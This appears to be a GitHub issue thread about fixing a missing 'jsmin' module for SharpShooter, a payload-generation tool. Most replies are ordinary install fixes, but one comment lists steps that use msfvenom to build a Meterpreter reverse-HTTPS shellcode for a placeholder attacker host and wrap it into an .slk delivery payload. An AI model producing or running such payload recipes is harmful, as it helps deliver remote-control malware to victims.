Open pretech86 opened 5 years ago
pip install -r requirements.txt
still the same
How about " pip install jsmin " ?
I also encountered this mistake,Although I used the "pip install jsmin" command,I was unable to solve the problem。
Try apt install python-jsmin instead.
Try apt install python-jsmin instead.
thank you! good
I had to grab 2.2.2 from https://pypi.org/project/jsmin/#files and install manually
确保pip属于python2,再安装jsmin
apt purge python3-pip apt purge python-pip curl https://bootstrap.pypa.io/get-pip.py -o /tmp/get-pip.py python3 /tmp/get-pip.py python /tmp/get-pip.py rm /tmp/get-pip.py pip install jsmin
apt install -y python-setuptools cd /tmp git clone https://github.com/tikitu/jsmin/ cd jsmin python2 setup.py install
This is a working fix
I had the same problem python didn't find "jsmin" module
@rebootcuong
your hint helped me to fix this issue for me
Thanks
Python 2.7 reached the end of its life on January 1st, 2020. So, the solution is download jsmin and install it without pip (or apt).
Solution:
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
cd jsmin-2.2.2
sudo python setup.py install
Complete Steps (Python 2.7)
# apt install -y python-setuptools
# cd /tmp
# git clone https://github.com/tikitu/jsmin/
# cd jsmin
# python2.7 setup.py install
# cd /opt
# git clone https://github.com/mdsecactivebreach/SharpShooter.git
# cd SharpShooter
# msfvenom -p windows/meterpreter/reverse_https LHOST=x.x.x.x LPORT=4444 -f raw -b '\x00' -e x86/shikata_ga_nai -o shellcode.bin
# python2.7 SharpShooter.py --payload slk --rawscfile shellcode.bin --output test
[!] Shellcode must not contain null bytes
[*] Written delivery payload to output/test.slk
None of these solutions worked for me. I can't seem to find a way to get Sharpshooter to work :(
Python 2.7 reached the end of its life on January 1st, 2020. So, the solution is download jsmin and install it without pip (or apt).
Solution:
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz tar xzf jsmin-2.2.2.tar.gz cd jsmin-2.2.2 sudo python setup.py install
Appreciate the help, 2.2.2 seems to work well. 3.0.1 threw me all sorts of errors! 🙏🙏
when i installed it it said ImportError: No module named jsmin
how can i fix this